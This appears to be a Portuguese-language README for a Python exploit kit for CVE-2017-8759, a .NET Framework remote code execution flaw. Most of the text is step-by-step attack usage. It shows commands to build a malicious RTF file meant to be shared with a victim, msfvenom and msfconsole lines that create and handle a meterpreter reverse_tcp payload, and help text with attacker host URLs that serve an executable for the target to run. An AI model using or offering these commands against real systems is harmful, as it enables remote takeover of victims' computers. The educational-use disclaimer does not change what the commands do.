Exploit toolkit CVE-2017-8759 - v1.0 é um script python útil que oferece a pentesters e pesquisadores de segurança uma forma rápida e eficaz de testar o RCE do Microsoft .NET Framework. Ele pode gerar um arquivo RTF malicioso e entregar metasploit / meterpreter / outros payloads à vítima sem qualquer configuração complexa.
O Kit de exploits CVE-2017-8759 - v1.0 é um prático script em Python que fornece a pentesters e pesquisadores de segurança uma forma rápida e eficaz de testar o RCE do Microsoft .NET Framework. Ele pode gerar um arquivo RTF malicioso e entregar metasploit / meterpreter / outros payloads à vítima sem qualquer configuração complexa.
Este programa é APENAS para fins educacionais. Não o utilize sem permissão. O aviso legal habitual se aplica, especialmente o fato de que eu (bhdresh) não sou responsável por quaisquer danos causados pelo uso direto ou indireto das informações ou funcionalidades fornecidas por estes programas. O autor ou qualquer provedor de Internet NÃO assume nenhuma responsabilidade pelo conteúdo ou uso indevido destes programas ou de qualquer derivado deles. Ao usar este programa, você aceita o fato de que qualquer dano (perda de dados, falha do sistema, comprometimento do sistema, etc.) causado pelo uso destes programas não é de responsabilidade do bhdresh.
Por fim, este é um desenvolvimento pessoal. Respeite a sua filosofia e não o utilize para fins maliciosos!
Licença CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/
Foram introduzidos os seguintes recursos ao script
- Generate Malicious RTF file
- Exploitation mode for generated RTF file
Versão: Python versão 2.7.13
1) Generate malicious RTF file
# python cve-2017-8759_toolkit.py -M gen -w Invoice.rtf -u http://192.168.56.1/logo.txt
2) (Optional, if using MSF Payload) : Generate metasploit payload and start handler
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe > /tmp/shell.exe
# msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.56.1; run"
3) Start toolkit in exploit mode to deliver local payload
# python cve-2017-8759_toolkit.py -M exp -e http://192.168.56.1/shell.exe -l /tmp/shell.exe
# python cve-2017-8759_toolkit.py -h
This is a handy toolkit to exploit CVE-2017-8759 (Microsoft .NET Framework RCE)
Modes:
-M gen Generate Malicious file only
Generate malicious RTF file:
-w <Filename.rtf> Name of malicious RTF file (Share this file with victim).
-u <http://attacker.com/test.txt> Path of remote txt file. Normally, this should be a domain or IP where this tool is running.
For example, http://attackerip.com/test.txt (This URL will be included in malicious RTF file and will be requested once victim will open malicious RTF file.
-M exp Start exploitation mode
Exploitation:
-p <TCP port:Default 80> Local port number.
-e <http://attacker.com/shell.exe> The path of an executable file / meterpreter shell / payload which needs to be executed on target.
-l </tmp/shell.exe> Specify local path of an executable file / meterpreter shell / payload.
@bhdresh
@Voulnet, @vysec, @bhdresh
Obviamente, não sou um desenvolvedor em tempo integral, então espere alguns contratempos.
Por favor, reporte bugs e problemas através de https://github.com/bhdresh/CVE-2017-8759/issues/new